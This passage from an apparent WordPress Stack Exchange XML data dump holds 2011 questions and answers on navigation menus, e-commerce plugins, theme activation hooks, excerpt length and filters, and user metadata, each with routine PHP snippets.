  $menu = wp_nav_menu($options);&#xA;    echo preg_replace(array(&#xA;        '#^&amp;lt;ul[^&amp;gt;]*&amp;gt;#',&#xA;        '#&amp;lt;/ul&amp;gt;$#'&#xA;    ), '', $menu);&#xA;&#xA;}&#xA;&#xA;function default_page_menu() {&#xA;   wp_list_pages('title_li=');&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;header.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;primary-nav&quot;&amp;gt;&#xA;&amp;lt;?php  wp_nav_menu_no_ul(); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2163" LastEditorUserId="2163" LastEditorDisplayName="" LastEditDate="2011-01-28T12:44:45.377" LastActivityDate="2011-01-28T12:44:45.377" Title="How do I remove UL on wp_nav_menu?" Tags="&lt;custom-menus&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="7969" PostTypeId="2" ParentId="7968" CreationDate="2011-01-28T09:07:37.927" Score="4" ViewCount="" Body="&lt;p&gt;The function wp_nav_menu takes an argument of fallback_cb which is the name of the function to run if the menu doesn't exist.&#xA;so change you code to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_nav_menu_no_ul()&#xA;{&#xA;    $options = array(&#xA;        'echo' =&amp;gt; false,&#xA;        'container' =&amp;gt; false,&#xA;        'theme_location' =&amp;gt; 'primary',&#xA;        'fallback_cb'=&amp;gt; 'fall_back_menu'&#xA;    );&#xA;&#xA;    $menu = wp_nav_menu($options);&#xA;    echo preg_replace(array(&#xA;        '#^&amp;lt;ul[^&amp;gt;]*&amp;gt;#',&#xA;        '#&amp;lt;/ul&amp;gt;$#'&#xA;    ), '', $menu);&#xA;&#xA;}&#xA;&#xA;function fall_back_menu(){&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can even remove the container from the menu and do other stuff with some more arguments sent to the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_nav_menu&quot; rel=&quot;nofollow&quot;&gt;wp_nav_menu function&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-28T09:07:37.927" CommentCount="5" />
  <row Id="7970" PostTypeId="1" CreationDate="2011-01-28T09:11:04.487" Score="1" ViewCount="157" Body="&lt;p&gt;Researching various shopping cart solutions for a WordPress based eCommerce website. Based on research, it seems that two plugins stand out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;shopplugin.net &lt;/li&gt;&#xA;&lt;li&gt;phpurchase.com&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can anyone share their experiences with these or offer some good alternatives?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list of requirements is too long to include here, but the store will be shipping goods (not digital products) and the ability to have a robust marketing/promotional campaign integrated into the shopping experience is important, as is financial reporting. Product recommendations, coupons, sale prices/discounts, email marketing and a customer database would all be nice features to have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't like WP-ecommerce or most of the other free options and the budget for software is as much as $1,000 (alternatively looking at shopify.com, a non-WP product). Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2011-01-28T10:08:52.983" Title="Shopping Cart Integration -- Experiences with Popular eCommerce Solutions" Tags="&lt;plugin-recommendation&gt;&lt;e-commerce&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="7971" PostTypeId="2" ParentId="7970" CreationDate="2011-01-28T09:43:14.607" Score="2" ViewCount="" Body="&lt;p&gt;I find DukaPress to be very easy to use for my clients and its packed with features that answer to most of your requirements.&#xA;And its free so you can't bet that.&#xA;Check it out &lt;a href=&quot;http://wordpress.org/extend/plugins/dukapress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/dukapress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-28T09:43:14.607" CommentCount="2" />
  <row Id="7972" PostTypeId="2" ParentId="7970" CreationDate="2011-01-28T10:08:52.983" Score="0" ViewCount="" Body="&lt;p&gt;I have one more suggestion, try this &lt;a href=&quot;http://mods.x-cart.com/WordPress-in-X-Cart&quot; rel=&quot;nofollow&quot;&gt;premium X-Cart&lt;/a&gt; integrated with wordpress&#xA;I have not used it, but one of my friend told me, also have look at that&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-01-28T10:08:52.983" />
  <row Id="7973" PostTypeId="2" ParentId="6248" CreationDate="2011-01-28T10:19:47.020" Score="4" ViewCount="" Body="&lt;p&gt;I have that code here just name the file theme_activation_hook.php like on the website and copy this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Provides activation/deactivation hook for wordpress theme.&#xA; *&#xA; * @author Krishna Kant Sharma (http://www.krishnakantsharma.com)&#xA; *&#xA; * Usage:&#xA; * ----------------------------------------------&#xA; * Include this file in your theme code.&#xA; * ----------------------------------------------&#xA; * function my_theme_activate() {&#xA; *    // code to execute on theme activation&#xA; * }&#xA; * wp_register_theme_activation_hook('mytheme', 'my_theme_activate');&#xA; *&#xA; * function my_theme_deactivate() {&#xA; *    // code to execute on theme deactivation&#xA; * }&#xA; * wp_register_theme_deactivation_hook('mytheme', 'my_theme_deactivate');&#xA; * ----------------------------------------------&#xA; * &#xA; * &#xA; */&#xA;&#xA;/**&#xA; *&#xA; * @desc registers a theme activation hook&#xA; * @param string $code : Code of the theme. This can be the base folder of your theme. Eg if your theme is in folder 'mytheme' then code will be 'mytheme'&#xA; * @param callback $function : Function to call when theme gets activated.&#xA; */&#xA;function wp_register_theme_activation_hook($code, $function) {&#xA;    $optionKey=&quot;theme_is_activated_&quot; . $code;&#xA;    if(!get_option($optionKey)) {&#xA;        call_user_func($function);&#xA;        update_option($optionKey , 1);&#xA;    }&#xA;}&#xA;&#xA;/**&#xA; * @desc registers deactivation hook&#xA; * @param string $code : Code of the theme. This must match the value you provided in wp_register_theme_activation_hook function as $code&#xA; * @param callback $function : Function to call when theme gets deactivated.&#xA; */&#xA;function wp_register_theme_deactivation_hook($code, $function) {&#xA;    // store function in code specific global&#xA;    $GLOBALS[&quot;wp_register_theme_deactivation_hook_function&quot; . $code]=$function;&#xA;&#xA;    // create a runtime function which will delete the option set while activation of this theme and will call deactivation function provided in $function&#xA;    $fn=create_function('$theme', ' call_user_func($GLOBALS[&quot;wp_register_theme_deactivation_hook_function' . $code . '&quot;]); delete_option(&quot;theme_is_activated_' . $code. '&quot;);');&#xA;&#xA;    // add above created function to switch_theme action hook. This hook gets called when admin changes the theme.&#xA;    // Due to wordpress core implementation this hook can only be received by currently active theme (which is going to be deactivated as admin has chosen another one.&#xA;    // Your theme can perceive this hook as a deactivation hook.&#xA;    add_action(&quot;switch_theme&quot;, $fn);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2606" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-28T10:23:14.057" LastActivityDate="2011-01-28T10:23:14.057" />
  <row Id="7974" PostTypeId="2" ParentId="7927" CreationDate="2011-01-28T10:23:34.317" Score="1" ViewCount="" Body="&lt;p&gt;I don't know of you like the sound of domain mapping but check out &lt;a href=&quot;http://codex.wordpress.org/Migrating_Multiple_Blogs_into_WordPress_3.0_Multisite&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Migrating_Multiple_Blogs_into_WordPress_3.0_Multisite&lt;/a&gt; and check out number 6 if they are on the same server. If not import seperate install into them so that number 6 works.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastEditorUserId="2606" LastEditorDisplayName="" LastEditDate="2011-02-15T08:16:27.740" LastActivityDate="2011-02-15T08:16:27.740" />
  <row Id="7975" PostTypeId="2" ParentId="7065" CreationDate="2011-01-28T11:36:05.400" Score="2" ViewCount="" Body="&lt;p&gt;(from the closing duplicate)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I typed this plugin very quickly during posting this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to work, see &lt;a href=&quot;http://leau.co&quot; rel=&quot;nofollow&quot;&gt;http://leau.co&lt;/a&gt; (where I quickly tested it) or &lt;a href=&quot;http://edward.de.leau.net&quot; rel=&quot;nofollow&quot;&gt;http://edward.de.leau.net&lt;/a&gt; (where I have tested it against more links in the post content) e.g. see the bottom left sidebar or some posts with multiple links in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hmmm, I will add in v0.3: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;caching&lt;/li&gt;&#xA;&lt;li&gt;file types to ignore&lt;/li&gt;&#xA;&lt;li&gt;if i find out how a different default icon&lt;/li&gt;&#xA;&lt;li&gt;urls to ignore&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Get it here : &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-favicons/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-favicons/&lt;/a&gt; (v.0.1)&lt;/li&gt;&#xA;&lt;li&gt;If there are additional RFC/Bugs other than above (TODO) drop a comment :)&lt;/li&gt;&#xA;&lt;li&gt;Styling can be done in the admin pages&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Update: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meanwhile it is to version 0.4.8 and scans pages directly for icon tags, /favicon.ico in root, checks google and other provides. IT also can replace content in any area where filters are provided, there is after processing support for the image such as auto png conversion, can excluded urls by extension, provides defaults such as identicons and has a cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;version 0.4.8 temporarily disables ALL of this (read &lt;a href=&quot;http://wp.leau.co/2011/03/04/wp-favicons-part-1-preventing-duplication-of-meta-data-attached-to-uris-such-as-favicons/&quot; rel=&quot;nofollow&quot;&gt;http://wp.leau.co/2011/03/04/wp-favicons-part-1-preventing-duplication-of-meta-data-attached-to-uris-such-as-favicons/&lt;/a&gt;) except for 'check google' so lets wait for 0.4.9 which gets it going again.&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-03-04T01:17:15.520" LastActivityDate="2011-03-04T01:17:15.520" CommentCount="5" />
  <row Id="7976" PostTypeId="1" AcceptedAnswerId="7978" CreationDate="2011-01-28T11:51:22.033" Score="0" ViewCount="213" Body="&lt;p&gt;Wordpress states the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An excerpt is a condensed description&#xA;  of your blog post and refers to the&#xA;  summary entered in the Excerpt field&#xA;  of the Administration &gt; Posts &gt; Add&#xA;  New SubPanel. The excerpt is used to&#xA;  describe your post in RSS feeds and is&#xA;  typically used in displaying search&#xA;  results. The excerpt is sometimes used&#xA;  in displaying the Archives and&#xA;  Category views of your posts. Use the&#xA;  Template Tag the_excerpt() to display&#xA;  the contents of this field. Note that&#xA;  if you do not enter information into&#xA;  the Excerpt field when writing a post,&#xA;  and you use the_excerpt() in your&#xA;  theme template files, WordPress will&#xA;  automatically display the first 55&#xA;  words of the post's content.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I wrote a post of 164 words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And placed this into my posts page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;mainbar&quot;&amp;gt;&#xA;            &amp;lt;?php // Create custom loop&#xA;            $custom_posts = get_posts('post_type=page_content&amp;amp;page_sections=Content (Front Page)'); ?&amp;gt;&#xA;            &amp;lt;?php foreach( $custom_posts as $post ) : setup_postdata( $post ); ?&amp;gt;&#xA;                &amp;lt;div class=&quot;content-block&quot;&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- .content-block --&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;            &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #mainbar --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm still seeing 164 words in that post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I've written in the post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.&#xA;&#xA;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.&#xA;&#xA;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.&#xA;&#xA;Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried exceeding 55 words in other post and it is the same story.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-01-28T12:13:17.413" LastActivityDate="2011-01-28T12:18:25.630" Title="the_excerpt is not limiting my post page to 55 words?" Tags="&lt;excerpt&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7977" PostTypeId="1" CreationDate="2011-01-28T12:12:54.480" Score="0" ViewCount="143" Body="&lt;p&gt;After restoring our wordpress site to a new server for a server move, we've hit a strange problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we try and login to the admin dashboard the options for some of the plugins that we use are overwritten with the default values in the wp_options table, loosing all the entries that were in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if we keep restoring the database the same thing happens, the values are over written with what appears to be the default values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else seen this issue?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We think that it's a pluging called &lt;strong&gt;Widget Locationizer&lt;/strong&gt; that is having the problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grant&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;I am currently running verion 3.0.1 and have the following plugins installed:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;All in One SEO Pack&lt;/li&gt;&#xA;&lt;li&gt;Category Post Widget&lt;/li&gt;&#xA;&lt;li&gt;Contact Form 7&lt;/li&gt;&#xA;&lt;li&gt;Exclude Pages from Navigation&lt;/li&gt;&#xA;&lt;li&gt;Exec-PHP&lt;/li&gt;&#xA;&lt;li&gt;JQuery Drop Down Menu&lt;/li&gt;&#xA;&lt;li&gt;List Category&lt;/li&gt;&#xA;&lt;li&gt;List Category Posts&lt;/li&gt;&#xA;&lt;li&gt;Page Links To&lt;/li&gt;&#xA;&lt;li&gt;Pre Loaded&lt;/li&gt;&#xA;&lt;li&gt;PS Auto SiteMap&lt;/li&gt;&#xA;&lt;li&gt;Really Simple CAPTCHA&lt;/li&gt;&#xA;&lt;li&gt;Redirections&lt;/li&gt;&#xA;&lt;li&gt;Reveal IDs for WP Admin&lt;/li&gt;&#xA;&lt;li&gt;Search &amp;amp; Replace&lt;/li&gt;&#xA;&lt;li&gt;Strictly Auto Tags&lt;/li&gt;&#xA;&lt;li&gt;Sub Page Navigation Widget&lt;/li&gt;&#xA;&lt;li&gt;Sub Pages Widget&lt;/li&gt;&#xA;&lt;li&gt;Widget Locationizer&lt;/li&gt;&#xA;&lt;li&gt;wp-cache&lt;/li&gt;&#xA;&lt;li&gt;WP Category Post List Widget.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The issues is the same as this post:&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/wordpress-deletes-text_widget-settings-in-wp_options&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/wordpress-deletes-text_widget-settings-in-wp_options&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The SQL that we are seeing on the MySQL Logs on hitting the login page is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('widget_text', 'a:2:{i:2;a:0:{}s:12:\&quot;_multiwidget\&quot;;i:1;}', 'yes') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2783" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-02-03T17:44:37.487" LastActivityDate="2011-02-03T17:44:37.487" Title="Values in wp_option overwritten on login" Tags="&lt;widgets&gt;&lt;database&gt;" CommentCount="6" />
  <row Id="7978" PostTypeId="2" ParentId="7976" CreationDate="2011-01-28T12:18:25.630" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@janoChen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you sure that code it running and not some other code? I just traced through the code and the only way it's going to do that is if you have a plugin or code in your theme that is hooking one of the following hooks: &lt;code&gt;'the_excerpt'&lt;/code&gt;, &lt;code&gt;'get_the_excerpt'&lt;/code&gt;, &lt;code&gt;'wp_trim_excerpt'&lt;/code&gt; or possibly removed the &lt;code&gt;'get_the_excerpt'&lt;/code&gt; hook that calls &lt;code&gt;wp_trim_excerpt()&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What plugins or other code to you have installed?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-28T12:18:25.630" CommentCount="1" />
  <row Id="7979" PostTypeId="1" AcceptedAnswerId="7980" CreationDate="2011-01-28T12:35:59.310" Score="0" ViewCount="263" Body="&lt;p&gt;I just placed this in my &lt;code&gt;functions.php&lt;/code&gt; (I'm using Wordpress 3.0.4):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_excerpt_more($more) {&#xA;       global $post;&#xA;    return '&amp;lt;a href=&quot;'. get_permalink($post-&amp;gt;ID) . '&quot;&amp;gt;Read the Rest...&amp;lt;/a&amp;gt;';&#xA;}&#xA;add_filter('excerpt_more', 'new_excerpt_more');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But my post is still displaying &lt;code&gt;… Continue reading&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-28T12:41:03.760" Title="I can't modify the 'Continue reading...' link of the_excerpt" Tags="&lt;excerpt&gt;" AnswerCount="1" />
  <row Id="7980" PostTypeId="2" ParentId="7979" CreationDate="2011-01-28T12:41:03.760" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@janoChen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your theme &lt;em&gt;(or a plugin)&lt;/em&gt; is overriding your filter. Try increasing the priority like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('excerpt_more', 'new_excerpt_more',11);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('excerpt_more', 'new_excerpt_more',20);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if that doesn't work try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('excerpt_more', 'new_excerpt_more',100);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-28T12:41:03.760" CommentCount="1" />
  <row Id="7981" PostTypeId="1" AcceptedAnswerId="7982" CreationDate="2011-01-28T12:41:18.567" Score="0" ViewCount="118" Body="&lt;p&gt;I have been trying to work out just where in the massive jungle of Wordpress include classes the usermeta table is joined onto the users table and if so, how does it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one confusing thing about the usermeta table to me is that it is using key/value fields for the database fields and not actual values like first_name or last_name. How does Wordpress know which fields to pull out by default and are there hooks, actions and filters for adding and retrieving data from the usermeta field?&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-28T13:31:03.870" Title="In what part of the Wordpress core does the users table and usermeta table get joined?" Tags="&lt;database&gt;&lt;users&gt;&lt;wpdb&gt;&lt;core&gt;&lt;usermeta&gt;" AnswerCount="1" />
  <row Id="7982" PostTypeId="2" ParentId="7981" CreationDate="2011-01-28T12:52:25.447" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Dwayne:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% what you are asking, it seems like several questions?  But here goes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $meta_value = get_user_meta($user_id, $key, $single);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $first_name = get_user_meta($user_id, 'first_name', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for adding hooks I think this answer might be what you are looking for?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4028/how-to-add-custom-form-fields-to-the-user-profile-page/4029#4029&quot;&gt;&lt;strong&gt;How To Add Custom Form Fields To The User Profile Page?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;UPDATE&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Based on some follow up comments I'll add:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The function &lt;code&gt;get_user_metavalues($user_ids)&lt;/code&gt; from &lt;code&gt;/wp-includes/user.php&lt;/code&gt; will return an array of user data arrays.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The function &lt;code&gt;get_userdata()&lt;/code&gt; retrieves user values using &lt;code&gt;get_user_metavalues($user_ids)&lt;/code&gt; from &lt;code&gt;/wp-includes/pluggable.php&lt;/code&gt; and returns a user data object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;User Meta is managed through the generic metadata functions found in &lt;code&gt;/wp-includes/meta.php&lt;/code&gt; so if you are looking for a SQL &lt;code&gt;JOIN&lt;/code&gt; between wp_users and wp_usermeta   you are not likely to find one. That file includes these functions:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_metadata($meta_type,$object_id,$meta_key,$meta_value,$unique=false)&#xA;update_metadata($meta_type,$object_id,$meta_key,$meta_value,$prev_value='')&#xA;delete_metadata($meta_type,$object_id,$meta_key,$meta_value='',$delete_all=false)&#xA;get_metadata($meta_type,$object_id,$meta_key='',$single=false)&#xA;update_meta_cache($meta_type,$object_ids)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-28T13:31:03.870" LastActivityDate="2011-01-28T13:31:03.870" CommentCount="4" />
  <row Id="7983" PostTypeId="2" ParentId="7001" CreationDate="2011-01-28T13:15:50.947" Score="1" ViewCount="" Body="&lt;p&gt;For debugging you could also use the following syntax instead of try/catch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!$x) {&#xA;   throw new Exception('Division by zero.');&#xA;}&#xA;else return 1/$x;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or use good old var_dump($x); which often tells you enough to get you going again.&lt;/p&gt;&#xA;" OwnerUserId="1959" LastActivityDate="2011-01-28T13:15:50.947" />
  <row Id="7984" PostTypeId="1" AcceptedAnswerId="7985" CreationDate="2011-01-28T13:27:26.870" Score="0" ViewCount="140" Body="&lt;p&gt;Is WordPress adding anchor tags automatically? I'm really puzzled, this is the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;home.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;post-bottom&quot;&amp;gt;&#xA;   &amp;lt;?php if ( count( get_the_category() ) ) : ?&amp;gt;&#xA;    &amp;lt;span class=&quot;cat-links&quot;&amp;gt;&#xA;     &amp;lt;?php printf( __( 'Posted in %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt;&#xA;   &amp;lt;?php endif; ?&amp;gt;&#xA;   &amp;lt;?php&#xA;    $tags_list = get_the_tag_list( '', ', ' );&#xA;    if ( $tags_list ):&#xA;   ?&amp;gt;&#xA;    &amp;lt;span class=&quot;tag-links&quot;&amp;gt;&#xA;     &amp;lt;?php printf( __( '&amp;lt;span class=&quot;%1$s&quot;&amp;gt;Tagged&amp;lt;/span&amp;gt; %2$s', 'twentyten' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt;&#xA;   &amp;lt;?php endif; ?&amp;gt;&#xA;   &amp;lt;span class=&quot;comments-link&quot;&amp;gt;&amp;lt;?php comments_popup_link( __( 'Leave a comment', 'twentyten' ), __( '1 Comment', 'twentyten' ), __( '% Comments', 'twentyten' ) ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;   &amp;lt;?php edit_post_link( __( 'Edit', 'twentyten' ), '&amp;lt;span class=&quot;meta-sep&quot;&amp;gt;|&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-utility --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the final output:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/ZoE5y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output Source Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div class=&quot;post-bottom&quot;&amp;gt; &#xA;                       &amp;lt;span class=&quot;cat-links&quot;&amp;gt; &#xA;    Posted in &amp;lt;a href=&quot;http://localhost/wpa/category/uncategorized/&quot; title=&quot;View all posts in Uncategorized&quot; rel=&quot;category tag&quot;&amp;gt;Uncategorized&amp;lt;/a&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Image:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/vbR1D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Posted in part has link color and behaves like a link but with no pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Weird I deleted &lt;code&gt;the_excerpt()&lt;/code&gt; and it seemed to fix the problem. But still can't understand what happens:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;div class=&quot;posted-on&quot;&amp;gt;&amp;lt;?php twentyten_posted_on(); 